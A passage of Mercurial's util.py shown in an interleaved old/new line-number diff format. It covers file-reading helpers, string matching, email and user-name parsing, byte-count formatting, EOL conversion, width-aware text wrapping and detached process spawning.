2241 if limit is None:
2237 nbytes = size
2242 nbytes = size
2238 else:
2243 else:
2239 nbytes = min(limit, size)
2244 nbytes = min(limit, size)
2240 s = nbytes and f.read(nbytes)
2245 s = nbytes and f.read(nbytes)
2241 if not s:
2246 if not s:
2242 break
2247 break
2243 if limit:
2248 if limit:
2244 limit -= len(s)
2249 limit -= len(s)
2245 yield s
2250 yield s
2246
2251
2247 class cappedreader(object):
2252 class cappedreader(object):
2248 """A file object proxy that allows reading up to N bytes.
2253 """A file object proxy that allows reading up to N bytes.
2249
2254
2250 Given a source file object, instances of this type allow reading up to
2255 Given a source file object, instances of this type allow reading up to
2251 N bytes from that source file object. Attempts to read past the allowed
2256 N bytes from that source file object. Attempts to read past the allowed
2252 limit are treated as EOF.
2257 limit are treated as EOF.
2253
2258
2254 It is assumed that I/O is not performed on the original file object
2259 It is assumed that I/O is not performed on the original file object
2255 in addition to I/O that is performed by this instance. If there is,
2260 in addition to I/O that is performed by this instance. If there is,
2256 state tracking will get out of sync and unexpected results will ensue.
2261 state tracking will get out of sync and unexpected results will ensue.
2257 """
2262 """
2258 def __init__(self, fh, limit):
2263 def __init__(self, fh, limit):
2259 """Allow reading up to <limit> bytes from <fh>."""
2264 """Allow reading up to <limit> bytes from <fh>."""
2260 self._fh = fh
2265 self._fh = fh
2261 self._left = limit
2266 self._left = limit
2262
2267
2263 def read(self, n=-1):
2268 def read(self, n=-1):
2264 if not self._left:
2269 if not self._left:
2265 return b''
2270 return b''
2266
2271
2267 if n < 0:
2272 if n < 0:
2268 n = self._left
2273 n = self._left
2269
2274
2270 data = self._fh.read(min(n, self._left))
2275 data = self._fh.read(min(n, self._left))
2271 self._left -= len(data)
2276 self._left -= len(data)
2272 assert self._left >= 0
2277 assert self._left >= 0
2273
2278
2274 return data
2279 return data
2275
2280
2276 def stringmatcher(pattern, casesensitive=True):
2281 def stringmatcher(pattern, casesensitive=True):
2277 """
2282 """
2278 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2283 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2279 returns the matcher name, pattern, and matcher function.
2284 returns the matcher name, pattern, and matcher function.
2280 missing or unknown prefixes are treated as literal matches.
2285 missing or unknown prefixes are treated as literal matches.
2281
2286
2282 helper for tests:
2287 helper for tests:
2283 >>> def test(pattern, *tests):
2288 >>> def test(pattern, *tests):
2284 ... kind, pattern, matcher = stringmatcher(pattern)
2289 ... kind, pattern, matcher = stringmatcher(pattern)
2285 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2290 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2286 >>> def itest(pattern, *tests):
2291 >>> def itest(pattern, *tests):
2287 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2292 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2288 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2293 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2289
2294
2290 exact matching (no prefix):
2295 exact matching (no prefix):
2291 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2296 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2292 ('literal', 'abcdefg', [False, False, True])
2297 ('literal', 'abcdefg', [False, False, True])
2293
2298
2294 regex matching ('re:' prefix)
2299 regex matching ('re:' prefix)
2295 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2300 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2296 ('re', 'a.+b', [False, False, True])
2301 ('re', 'a.+b', [False, False, True])
2297
2302
2298 force exact matches ('literal:' prefix)
2303 force exact matches ('literal:' prefix)
2299 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2304 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2300 ('literal', 're:foobar', [False, True])
2305 ('literal', 're:foobar', [False, True])
2301
2306
2302 unknown prefixes are ignored and treated as literals
2307 unknown prefixes are ignored and treated as literals
2303 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2308 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2304 ('literal', 'foo:bar', [False, False, True])
2309 ('literal', 'foo:bar', [False, False, True])
2305
2310
2306 case insensitive regex matches
2311 case insensitive regex matches
2307 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2312 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2308 ('re', 'A.+b', [False, False, True])
2313 ('re', 'A.+b', [False, False, True])
2309
2314
2310 case insensitive literal matches
2315 case insensitive literal matches
2311 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2316 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2312 ('literal', 'ABCDEFG', [False, False, True])
2317 ('literal', 'ABCDEFG', [False, False, True])
2313 """
2318 """
2314 if pattern.startswith('re:'):
2319 if pattern.startswith('re:'):
2315 pattern = pattern[3:]
2320 pattern = pattern[3:]
2316 try:
2321 try:
2317 flags = 0
2322 flags = 0
2318 if not casesensitive:
2323 if not casesensitive:
2319 flags = remod.I
2324 flags = remod.I
2320 regex = remod.compile(pattern, flags)
2325 regex = remod.compile(pattern, flags)
2321 except remod.error as e:
2326 except remod.error as e:
2322 raise error.ParseError(_('invalid regular expression: %s')
2327 raise error.ParseError(_('invalid regular expression: %s')
2323 % e)
2328 % e)
2324 return 're', pattern, regex.search
2329 return 're', pattern, regex.search
2325 elif pattern.startswith('literal:'):
2330 elif pattern.startswith('literal:'):
2326 pattern = pattern[8:]
2331 pattern = pattern[8:]
2327
2332
2328 match = pattern.__eq__
2333 match = pattern.__eq__
2329
2334
2330 if not casesensitive:
2335 if not casesensitive:
2331 ipat = encoding.lower(pattern)
2336 ipat = encoding.lower(pattern)
2332 match = lambda s: ipat == encoding.lower(s)
2337 match = lambda s: ipat == encoding.lower(s)
2333 return 'literal', pattern, match
2338 return 'literal', pattern, match
2334
2339
2335 def shortuser(user):
2340 def shortuser(user):
2336 """Return a short representation of a user name or email address."""
2341 """Return a short representation of a user name or email address."""
2337 f = user.find('@')
2342 f = user.find('@')
2338 if f >= 0:
2343 if f >= 0:
2339 user = user[:f]
2344 user = user[:f]
2340 f = user.find('<')
2345 f = user.find('<')
2341 if f >= 0:
2346 if f >= 0:
2342 user = user[f + 1:]
2347 user = user[f + 1:]
2343 f = user.find(' ')
2348 f = user.find(' ')
2344 if f >= 0:
2349 if f >= 0:
2345 user = user[:f]
2350 user = user[:f]
2346 f = user.find('.')
2351 f = user.find('.')
2347 if f >= 0:
2352 if f >= 0:
2348 user = user[:f]
2353 user = user[:f]
2349 return user
2354 return user
2350
2355
2351 def emailuser(user):
2356 def emailuser(user):
2352 """Return the user portion of an email address."""
2357 """Return the user portion of an email address."""
2353 f = user.find('@')
2358 f = user.find('@')
2354 if f >= 0:
2359 if f >= 0:
2355 user = user[:f]
2360 user = user[:f]
2356 f = user.find('<')
2361 f = user.find('<')
2357 if f >= 0:
2362 if f >= 0:
2358 user = user[f + 1:]
2363 user = user[f + 1:]
2359 return user
2364 return user
2360
2365
2361 def email(author):
2366 def email(author):
2362 '''get email of author.'''
2367 '''get email of author.'''
2363 r = author.find('>')
2368 r = author.find('>')
2364 if r == -1:
2369 if r == -1:
2365 r = None
2370 r = None
2366 return author[author.find('<') + 1:r]
2371 return author[author.find('<') + 1:r]
2367
2372
2368 def ellipsis(text, maxlength=400):
2373 def ellipsis(text, maxlength=400):
2369 """Trim string to at most maxlength (default: 400) columns in display."""
2374 """Trim string to at most maxlength (default: 400) columns in display."""
2370 return encoding.trim(text, maxlength, ellipsis='...')
2375 return encoding.trim(text, maxlength, ellipsis='...')
2371
2376
2372 def unitcountfn(*unittable):
2377 def unitcountfn(*unittable):
2373 '''return a function that renders a readable count of some quantity'''
2378 '''return a function that renders a readable count of some quantity'''
2374
2379
2375 def go(count):
2380 def go(count):
2376 for multiplier, divisor, format in unittable:
2381 for multiplier, divisor, format in unittable:
2377 if abs(count) >= divisor * multiplier:
2382 if abs(count) >= divisor * multiplier:
2378 return format % (count / float(divisor))
2383 return format % (count / float(divisor))
2379 return unittable[-1][2] % count
2384 return unittable[-1][2] % count
2380
2385
2381 return go
2386 return go
2382
2387
2383 def processlinerange(fromline, toline):
2388 def processlinerange(fromline, toline):
2384 """Check that linerange <fromline>:<toline> makes sense and return a
2389 """Check that linerange <fromline>:<toline> makes sense and return a
2385 0-based range.
2390 0-based range.
2386
2391
2387 >>> processlinerange(10, 20)
2392 >>> processlinerange(10, 20)
2388 (9, 20)
2393 (9, 20)
2389 >>> processlinerange(2, 1)
2394 >>> processlinerange(2, 1)
2390 Traceback (most recent call last):
2395 Traceback (most recent call last):
2391 ...
2396 ...
2392 ParseError: line range must be positive
2397 ParseError: line range must be positive
2393 >>> processlinerange(0, 5)
2398 >>> processlinerange(0, 5)
2394 Traceback (most recent call last):
2399 Traceback (most recent call last):
2395 ...
2400 ...
2396 ParseError: fromline must be strictly positive
2401 ParseError: fromline must be strictly positive
2397 """
2402 """
2398 if toline - fromline < 0:
2403 if toline - fromline < 0:
2399 raise error.ParseError(_("line range must be positive"))
2404 raise error.ParseError(_("line range must be positive"))
2400 if fromline < 1:
2405 if fromline < 1:
2401 raise error.ParseError(_("fromline must be strictly positive"))
2406 raise error.ParseError(_("fromline must be strictly positive"))
2402 return fromline - 1, toline
2407 return fromline - 1, toline
2403
2408
2404 bytecount = unitcountfn(
2409 bytecount = unitcountfn(
2405 (100, 1 << 30, _('%.0f GB')),
2410 (100, 1 << 30, _('%.0f GB')),
2406 (10, 1 << 30, _('%.1f GB')),
2411 (10, 1 << 30, _('%.1f GB')),
2407 (1, 1 << 30, _('%.2f GB')),
2412 (1, 1 << 30, _('%.2f GB')),
2408 (100, 1 << 20, _('%.0f MB')),
2413 (100, 1 << 20, _('%.0f MB')),
2409 (10, 1 << 20, _('%.1f MB')),
2414 (10, 1 << 20, _('%.1f MB')),
2410 (1, 1 << 20, _('%.2f MB')),
2415 (1, 1 << 20, _('%.2f MB')),
2411 (100, 1 << 10, _('%.0f KB')),
2416 (100, 1 << 10, _('%.0f KB')),
2412 (10, 1 << 10, _('%.1f KB')),
2417 (10, 1 << 10, _('%.1f KB')),
2413 (1, 1 << 10, _('%.2f KB')),
2418 (1, 1 << 10, _('%.2f KB')),
2414 (1, 1, _('%.0f bytes')),
2419 (1, 1, _('%.0f bytes')),
2415 )
2420 )
2416
2421
2417 # Matches a single EOL which can either be a CRLF where repeated CR
2422 # Matches a single EOL which can either be a CRLF where repeated CR
2418 # are removed or a LF. We do not care about old Macintosh files, so a
2423 # are removed or a LF. We do not care about old Macintosh files, so a
2419 # stray CR is an error.
2424 # stray CR is an error.
2420 _eolre = remod.compile(br'\r*\n')
2425 _eolre = remod.compile(br'\r*\n')
2421
2426
2422 def tolf(s):
2427 def tolf(s):
2423 return _eolre.sub('\n', s)
2428 return _eolre.sub('\n', s)
2424
2429
2425 def tocrlf(s):
2430 def tocrlf(s):
2426 return _eolre.sub('\r\n', s)
2431 return _eolre.sub('\r\n', s)
2427
2432
2428 if pycompat.oslinesep == '\r\n':
2433 if pycompat.oslinesep == '\r\n':
2429 tonativeeol = tocrlf
2434 tonativeeol = tocrlf
2430 fromnativeeol = tolf
2435 fromnativeeol = tolf
2431 else:
2436 else:
2432 tonativeeol = pycompat.identity
2437 tonativeeol = pycompat.identity
2433 fromnativeeol = pycompat.identity
2438 fromnativeeol = pycompat.identity
2434
2439
2435 def escapestr(s):
2440 def escapestr(s):
2436 # call underlying function of s.encode('string_escape') directly for
2441 # call underlying function of s.encode('string_escape') directly for
2437 # Python 3 compatibility
2442 # Python 3 compatibility
2438 return codecs.escape_encode(s)[0]
2443 return codecs.escape_encode(s)[0]
2439
2444
2440 def unescapestr(s):
2445 def unescapestr(s):
2441 return codecs.escape_decode(s)[0]
2446 return codecs.escape_decode(s)[0]
2442
2447
2443 def forcebytestr(obj):
2448 def forcebytestr(obj):
2444 """Portably format an arbitrary object (e.g. exception) into a byte
2449 """Portably format an arbitrary object (e.g. exception) into a byte
2445 string."""
2450 string."""
2446 try:
2451 try:
2447 return pycompat.bytestr(obj)
2452 return pycompat.bytestr(obj)
2448 except UnicodeEncodeError:
2453 except UnicodeEncodeError:
2449 # non-ascii string, may be lossy
2454 # non-ascii string, may be lossy
2450 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2455 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2451
2456
2452 def uirepr(s):
2457 def uirepr(s):
2453 # Avoid double backslash in Windows path repr()
2458 # Avoid double backslash in Windows path repr()
2454 return pycompat.byterepr(pycompat.bytestr(s)).replace(b'\\\\', b'\\')
2459 return pycompat.byterepr(pycompat.bytestr(s)).replace(b'\\\\', b'\\')
2455
2460
2456 # delay import of textwrap
2461 # delay import of textwrap
2457 def MBTextWrapper(**kwargs):
2462 def MBTextWrapper(**kwargs):
2458 class tw(textwrap.TextWrapper):
2463 class tw(textwrap.TextWrapper):
2459 """
2464 """
2460 Extend TextWrapper for width-awareness.
2465 Extend TextWrapper for width-awareness.
2461
2466
2462 Neither number of 'bytes' in any encoding nor 'characters' is
2467 Neither number of 'bytes' in any encoding nor 'characters' is
2463 appropriate to calculate terminal columns for specified string.
2468 appropriate to calculate terminal columns for specified string.
2464
2469
2465 Original TextWrapper implementation uses built-in 'len()' directly,
2470 Original TextWrapper implementation uses built-in 'len()' directly,
2466 so overriding is needed to use width information of each characters.
2471 so overriding is needed to use width information of each characters.
2467
2472
2468 In addition, characters classified into 'ambiguous' width are
2473 In addition, characters classified into 'ambiguous' width are
2469 treated as wide in East Asian area, but as narrow in other.
2474 treated as wide in East Asian area, but as narrow in other.
2470
2475
2471 This requires use decision to determine width of such characters.
2476 This requires use decision to determine width of such characters.
2472 """
2477 """
2473 def _cutdown(self, ucstr, space_left):
2478 def _cutdown(self, ucstr, space_left):
2474 l = 0
2479 l = 0
2475 colwidth = encoding.ucolwidth
2480 colwidth = encoding.ucolwidth
2476 for i in xrange(len(ucstr)):
2481 for i in xrange(len(ucstr)):
2477 l += colwidth(ucstr[i])
2482 l += colwidth(ucstr[i])
2478 if space_left < l:
2483 if space_left < l:
2479 return (ucstr[:i], ucstr[i:])
2484 return (ucstr[:i], ucstr[i:])
2480 return ucstr, ''
2485 return ucstr, ''
2481
2486
2482 # overriding of base class
2487 # overriding of base class
2483 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2488 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2484 space_left = max(width - cur_len, 1)
2489 space_left = max(width - cur_len, 1)
2485
2490
2486 if self.break_long_words:
2491 if self.break_long_words:
2487 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2492 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2488 cur_line.append(cut)
2493 cur_line.append(cut)
2489 reversed_chunks[-1] = res
2494 reversed_chunks[-1] = res
2490 elif not cur_line:
2495 elif not cur_line:
2491 cur_line.append(reversed_chunks.pop())
2496 cur_line.append(reversed_chunks.pop())
2492
2497
2493 # this overriding code is imported from TextWrapper of Python 2.6
2498 # this overriding code is imported from TextWrapper of Python 2.6
2494 # to calculate columns of string by 'encoding.ucolwidth()'
2499 # to calculate columns of string by 'encoding.ucolwidth()'
2495 def _wrap_chunks(self, chunks):
2500 def _wrap_chunks(self, chunks):
2496 colwidth = encoding.ucolwidth
2501 colwidth = encoding.ucolwidth
2497
2502
2498 lines = []
2503 lines = []
2499 if self.width <= 0:
2504 if self.width <= 0:
2500 raise ValueError("invalid width %r (must be > 0)" % self.width)
2505 raise ValueError("invalid width %r (must be > 0)" % self.width)
2501
2506
2502 # Arrange in reverse order so items can be efficiently popped
2507 # Arrange in reverse order so items can be efficiently popped
2503 # from a stack of chucks.
2508 # from a stack of chucks.
2504 chunks.reverse()
2509 chunks.reverse()
2505
2510
2506 while chunks:
2511 while chunks:
2507
2512
2508 # Start the list of chunks that will make up the current line.
2513 # Start the list of chunks that will make up the current line.
2509 # cur_len is just the length of all the chunks in cur_line.
2514 # cur_len is just the length of all the chunks in cur_line.
2510 cur_line = []
2515 cur_line = []
2511 cur_len = 0
2516 cur_len = 0
2512
2517
2513 # Figure out which static string will prefix this line.
2518 # Figure out which static string will prefix this line.
2514 if lines:
2519 if lines:
2515 indent = self.subsequent_indent
2520 indent = self.subsequent_indent
2516 else:
2521 else:
2517 indent = self.initial_indent
2522 indent = self.initial_indent
2518
2523
2519 # Maximum width for this line.
2524 # Maximum width for this line.
2520 width = self.width - len(indent)
2525 width = self.width - len(indent)
2521
2526
2522 # First chunk on line is whitespace -- drop it, unless this
2527 # First chunk on line is whitespace -- drop it, unless this
2523 # is the very beginning of the text (i.e. no lines started yet).
2528 # is the very beginning of the text (i.e. no lines started yet).
2524 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2529 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2525 del chunks[-1]
2530 del chunks[-1]
2526
2531
2527 while chunks:
2532 while chunks:
2528 l = colwidth(chunks[-1])
2533 l = colwidth(chunks[-1])
2529
2534
2530 # Can at least squeeze this chunk onto the current line.
2535 # Can at least squeeze this chunk onto the current line.
2531 if cur_len + l <= width:
2536 if cur_len + l <= width:
2532 cur_line.append(chunks.pop())
2537 cur_line.append(chunks.pop())
2533 cur_len += l
2538 cur_len += l
2534
2539
2535 # Nope, this line is full.
2540 # Nope, this line is full.
2536 else:
2541 else:
2537 break
2542 break
2538
2543
2539 # The current line is full, and the next chunk is too big to
2544 # The current line is full, and the next chunk is too big to
2540 # fit on *any* line (not just this one).
2545 # fit on *any* line (not just this one).
2541 if chunks and colwidth(chunks[-1]) > width:
2546 if chunks and colwidth(chunks[-1]) > width:
2542 self._handle_long_word(chunks, cur_line, cur_len, width)
2547 self._handle_long_word(chunks, cur_line, cur_len, width)
2543
2548
2544 # If the last chunk on this line is all whitespace, drop it.
2549 # If the last chunk on this line is all whitespace, drop it.
2545 if (self.drop_whitespace and
2550 if (self.drop_whitespace and
2546 cur_line and cur_line[-1].strip() == r''):
2551 cur_line and cur_line[-1].strip() == r''):
2547 del cur_line[-1]
2552 del cur_line[-1]
2548
2553
2549 # Convert current line back to a string and store it in list
2554 # Convert current line back to a string and store it in list
2550 # of all lines (return value).
2555 # of all lines (return value).
2551 if cur_line:
2556 if cur_line:
2552 lines.append(indent + r''.join(cur_line))
2557 lines.append(indent + r''.join(cur_line))
2553
2558
2554 return lines
2559 return lines
2555
2560
2556 global MBTextWrapper
2561 global MBTextWrapper
2557 MBTextWrapper = tw
2562 MBTextWrapper = tw
2558 return tw(**kwargs)
2563 return tw(**kwargs)
2559
2564
2560 def wrap(line, width, initindent='', hangindent=''):
2565 def wrap(line, width, initindent='', hangindent=''):
2561 maxindent = max(len(hangindent), len(initindent))
2566 maxindent = max(len(hangindent), len(initindent))
2562 if width <= maxindent:
2567 if width <= maxindent:
2563 # adjust for weird terminal size
2568 # adjust for weird terminal size
2564 width = max(78, maxindent + 1)
2569 width = max(78, maxindent + 1)
2565 line = line.decode(pycompat.sysstr(encoding.encoding),
2570 line = line.decode(pycompat.sysstr(encoding.encoding),
2566 pycompat.sysstr(encoding.encodingmode))
2571 pycompat.sysstr(encoding.encodingmode))
2567 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2572 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2568 pycompat.sysstr(encoding.encodingmode))
2573 pycompat.sysstr(encoding.encodingmode))
2569 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2574 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2570 pycompat.sysstr(encoding.encodingmode))
2575 pycompat.sysstr(encoding.encodingmode))
2571 wrapper = MBTextWrapper(width=width,
2576 wrapper = MBTextWrapper(width=width,
2572 initial_indent=initindent,
2577 initial_indent=initindent,
2573 subsequent_indent=hangindent)
2578 subsequent_indent=hangindent)
2574 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2579 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2575
2580
2576 if (pyplatform.python_implementation() == 'CPython' and
2581 if (pyplatform.python_implementation() == 'CPython' and
2577 sys.version_info < (3, 0)):
2582 sys.version_info < (3, 0)):
2578 # There is an issue in CPython that some IO methods do not handle EINTR
2583 # There is an issue in CPython that some IO methods do not handle EINTR
2579 # correctly. The following table shows what CPython version (and functions)
2584 # correctly. The following table shows what CPython version (and functions)
2580 # are affected (buggy: has the EINTR bug, okay: otherwise):
2585 # are affected (buggy: has the EINTR bug, okay: otherwise):
2581 #
2586 #
2582 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2587 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2583 # --------------------------------------------------
2588 # --------------------------------------------------
2584 # fp.__iter__ | buggy | buggy | okay
2589 # fp.__iter__ | buggy | buggy | okay
2585 # fp.read* | buggy | okay [1] | okay
2590 # fp.read* | buggy | okay [1] | okay
2586 #
2591 #
2587 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2592 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2588 #
2593 #
2589 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2594 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2590 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2595 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2591 #
2596 #
2592 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2597 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2593 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2598 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2594 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2599 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2595 # fp.__iter__ but not other fp.read* methods.
2600 # fp.__iter__ but not other fp.read* methods.
2596 #
2601 #
2597 # On modern systems like Linux, the "read" syscall cannot be interrupted
2602 # On modern systems like Linux, the "read" syscall cannot be interrupted
2598 # when reading "fast" files like on-disk files. So the EINTR issue only
2603 # when reading "fast" files like on-disk files. So the EINTR issue only
2599 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2604 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2600 # files approximately as "fast" files and use the fast (unsafe) code path,
2605 # files approximately as "fast" files and use the fast (unsafe) code path,
2601 # to minimize the performance impact.
2606 # to minimize the performance impact.
2602 if sys.version_info >= (2, 7, 4):
2607 if sys.version_info >= (2, 7, 4):
2603 # fp.readline deals with EINTR correctly, use it as a workaround.
2608 # fp.readline deals with EINTR correctly, use it as a workaround.
2604 def _safeiterfile(fp):
2609 def _safeiterfile(fp):
2605 return iter(fp.readline, '')
2610 return iter(fp.readline, '')
2606 else:
2611 else:
2607 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2612 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2608 # note: this may block longer than necessary because of bufsize.
2613 # note: this may block longer than necessary because of bufsize.
2609 def _safeiterfile(fp, bufsize=4096):
2614 def _safeiterfile(fp, bufsize=4096):
2610 fd = fp.fileno()
2615 fd = fp.fileno()
2611 line = ''
2616 line = ''
2612 while True:
2617 while True:
2613 try:
2618 try:
2614 buf = os.read(fd, bufsize)
2619 buf = os.read(fd, bufsize)
2615 except OSError as ex:
2620 except OSError as ex:
2616 # os.read only raises EINTR before any data is read
2621 # os.read only raises EINTR before any data is read
2617 if ex.errno == errno.EINTR:
2622 if ex.errno == errno.EINTR:
2618 continue
2623 continue
2619 else:
2624 else:
2620 raise
2625 raise
2621 line += buf
2626 line += buf
2622 if '\n' in buf:
2627 if '\n' in buf:
2623 splitted = line.splitlines(True)
2628 splitted = line.splitlines(True)
2624 line = ''
2629 line = ''
2625 for l in splitted:
2630 for l in splitted:
2626 if l[-1] == '\n':
2631 if l[-1] == '\n':
2627 yield l
2632 yield l
2628 else:
2633 else:
2629 line = l
2634 line = l
2630 if not buf:
2635 if not buf:
2631 break
2636 break
2632 if line:
2637 if line:
2633 yield line
2638 yield line
2634
2639
2635 def iterfile(fp):
2640 def iterfile(fp):
2636 fastpath = True
2641 fastpath = True
2637 if type(fp) is file:
2642 if type(fp) is file:
2638 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2643 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2639 if fastpath:
2644 if fastpath:
2640 return fp
2645 return fp
2641 else:
2646 else:
2642 return _safeiterfile(fp)
2647 return _safeiterfile(fp)
2643 else:
2648 else:
2644 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2649 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2645 def iterfile(fp):
2650 def iterfile(fp):
2646 return fp
2651 return fp
2647
2652
2648 def iterlines(iterator):
2653 def iterlines(iterator):
2649 for chunk in iterator:
2654 for chunk in iterator:
2650 for line in chunk.splitlines():
2655 for line in chunk.splitlines():
2651 yield line
2656 yield line
2652
2657
2653 def expandpath(path):
2658 def expandpath(path):
2654 return os.path.expanduser(os.path.expandvars(path))
2659 return os.path.expanduser(os.path.expandvars(path))
2655
2660
2656 def hgcmd():
2661 def hgcmd():
2657 """Return the command used to execute current hg
2662 """Return the command used to execute current hg
2658
2663
2659 This is different from hgexecutable() because on Windows we want
2664 This is different from hgexecutable() because on Windows we want
2660 to avoid things opening new shell windows like batch files, so we
2665 to avoid things opening new shell windows like batch files, so we
2661 get either the python call or current executable.
2666 get either the python call or current executable.
2662 """
2667 """
2663 if mainfrozen():
2668 if mainfrozen():
2664 if getattr(sys, 'frozen', None) == 'macosx_app':
2669 if getattr(sys, 'frozen', None) == 'macosx_app':
2665 # Env variable set by py2app
2670 # Env variable set by py2app
2666 return [encoding.environ['EXECUTABLEPATH']]
2671 return [encoding.environ['EXECUTABLEPATH']]
2667 else:
2672 else:
2668 return [pycompat.sysexecutable]
2673 return [pycompat.sysexecutable]
2669 return gethgcmd()
2674 return gethgcmd()
2670
2675
2671 def rundetached(args, condfn):
2676 def rundetached(args, condfn):
2672 """Execute the argument list in a detached process.
2677 """Execute the argument list in a detached process.
2673
2678
2674 condfn is a callable which is called repeatedly and should return
2679 condfn is a callable which is called repeatedly and should return
2675 True once the child process is known to have started successfully.
2680 True once the child process is known to have started successfully.
2676 At this point, the child process PID is returned. If the child
2681 At this point, the child process PID is returned. If the child
2677 process fails to start or finishes before condfn() evaluates to
2682 process fails to start or finishes before condfn() evaluates to
2678 True, return -1.
2683 True, return -1.
2679 """
2684 """
2680 # Windows case is easier because the child process is either
2685 # Windows case is easier because the child process is either
2681 # successfully starting and validating the condition or exiting
2686 # successfully starting and validating the condition or exiting
2682 # on failure. We just poll on its PID. On Unix, if the child
2687 # on failure. We just poll on its PID. On Unix, if the child
2683 # process fails to start, it will be left in a zombie state until
2688 # process fails to start, it will be left in a zombie state until
2684 # the parent wait on it, which we cannot do since we expect a long
2689 # the parent wait on it, which we cannot do since we expect a long
2685 # running process on success. Instead we listen for SIGCHLD telling
2690 # running process on success. Instead we listen for SIGCHLD telling
2686 # us our child process terminated.
2691 # us our child process terminated.
2687 terminated = set()
2692 terminated = set()
2688 def handler(signum, frame):
2693 def handler(signum, frame):
2689 terminated.add(os.wait())
2694 terminated.add(os.wait())
2690 prevhandler = None
2695 prevhandler = None
2691 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2696 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2692 if SIGCHLD is not None:
2697 if SIGCHLD is not None:
2693 prevhandler = signal.signal(SIGCHLD, handler)
2698 prevhandler = signal.signal(SIGCHLD, handler)
2694 try:
2699 try:
2695 pid = spawndetached(args)
2700 pid = spawndetached(args)
2696 while not condfn():
2701 while not condfn():
2697 if ((pid in terminated or not testpid(pid))
2702 if ((pid in terminated or not testpid(pid))
2698 and not condfn()):
2703 and not condfn()):
2699 return -1
2704 return -1
2700 time.sleep(0.1)
2705 time.sleep(0.1)
2701 return pid
2706 return pid
2702 finally:
2707 finally:
2703 if prevhandler is not None:
2708 if prevhandler is not None:
2704 signal.signal(signal.SIGCHLD, prevhandler)
2709 signal.signal(signal.SIGCHLD, prevhandler)
2705
2710
2706 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2711 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2707 """Return the result of interpolating items in the mapping into string s.
2712 """Return the result of interpolating items in the mapping into string s.
2708
2713
2709 prefix is a single character string, or a two character string with
2714 prefix is a single character string, or a two character string with
2710 a backslash as the first character if the prefix needs to be escaped in
2715 a backslash as the first character if the prefix needs to be escaped in
2711 a regular expression.
2716 a regular expression.
2712
2717
2713 fn is an optional function that will be applied to the replacement text
2718 fn is an optional function that will be applied to the replacement text
2714 just before replacement.
2719 just before replacement.
2715
2720
2716 escape_prefix is an optional flag that allows using doubled prefix for
2721 escape_prefix is an optional flag that allows using doubled prefix for
2717 its escaping.
2722 its escaping.
2718 """
2723 """
2719 fn = fn or (lambda s: s)
2724 fn = fn or (lambda s: s)
2720 patterns = '|'.join(mapping.keys())
2725 patterns = '|'.join(mapping.keys())
2721 if escape_prefix:
2726 if escape_prefix:
2722 patterns += '|' + prefix
2727 patterns += '|' + prefix
2723 if len(prefix) > 1:
2728 if len(prefix) > 1:
2724 prefix_char = prefix[1:]
2729 prefix_char = prefix[1:]
2725 else:
2730 else:
2726 prefix_char = prefix
2731 prefix_char = prefix
2727 mapping[prefix_char] = prefix_char
2732 mapping[prefix_char] = prefix_char
2728 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2733 r = remod.compile(br'%s(%s)' % (prefix, patterns))
